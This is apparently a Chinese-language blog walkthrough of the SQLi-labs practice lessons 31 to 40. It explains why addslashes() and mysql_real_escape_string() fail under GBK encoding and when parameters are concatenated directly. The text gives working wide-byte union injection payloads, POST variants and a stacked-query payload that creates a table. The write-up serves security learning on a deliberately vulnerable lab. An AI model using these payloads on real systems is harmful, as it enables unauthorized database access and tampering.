人过留名,雁过留声
人生天地间,凡有大动静处
必有猪头
Less 31
源码分析
和 Less 29 相似,就是参数使用双引号+括号引用了,注入的时候注意闭合即可
Less 32
① 源码分析
check_addslashes()转义的字符有:
反斜杠
单引号
双引号
设置gbk编码方式(关键)
参数被过滤之后单引号引用
有数据回显
② 漏洞利用
宽字节
GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。
宽字节注入
利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)
例如:
’ --> ’ --> %5C%27
%df ’ --> %df ’ --> %df%5C%27 --> �%27
union 注入
?id=0%df' union select 1,2,3 --+
Less 33
① 源码分析
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
单引号(’)
双引号(")
反斜杠(\)
NULL
参数被过滤,单引号引用
数据回显
② 漏洞利用
单引号闭合
宽字节注入
union 注入
?id=0%df' union select 1,2,3 --+
Less 34
① 源码分析
参数 post 方式提交
addslashes() 函数过滤参数
设置数据库 gbk 编码
单引号引用参数
数据回显
② 漏洞利用
宽字节注入
在 POST 参数构造 payload
union 注入
post 参数不被编码,所以直接提交�
uname=�' union select 1,2 #&passwd=1111
Less 35(why care for addslashes())
① 源码分析
参数直接拼接,没有单引号/双引号/括号引用
② 漏洞利用
直接构造 SQL 语句注入即可,不用在意 addslashes() 函数
Less 36
① 源码分析
mysql_real_escape_string() 预定义的字符
\x00
\n
\r
\
’
"
\x1a
源码只是单纯地用 mysql_real_escape_string() 函数对参数进行过滤,因为又有
mysql_query("SET NAMES gbk");的设置,所以仍然存在宽字节注入。
② 漏洞利用
?id=0%df' union select 1,2,3 --+
Less 37
① 源码分析
POST 请求
mysql_real_escape_string() 进行参数过滤
单引号引用参数
数据回显
设置数据库gbk的字符集编码形式
② 漏洞利用
在 POST 提交的参数进行宽字节注入即可
uname=0�' union select 1,2 #&passwd=123
Less 38
① 源码分析
mysqli_multi_query()
函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。
mysqli_store_result()
转移上一次查询返回的结果集
参数单引号引用
这是一个典型的堆叠注入漏洞
② 漏洞利用
?id=1';create table test38 like users;--+
当然,常规的注入也是可以的。
?id=0' union select 1,2,3 --+
Less 39
① 源码分析
相比较 Less 38 ,Less 39 在构造 sql 查询语句的时候对参数是直接拼接
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
② 漏洞利用
思路和 Less 38 一样。
Less 40
① 源码分析
参数由单引号+括号引用
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
② 漏洞利用
思路和 Less 38 一样。
猪头
2020.1.22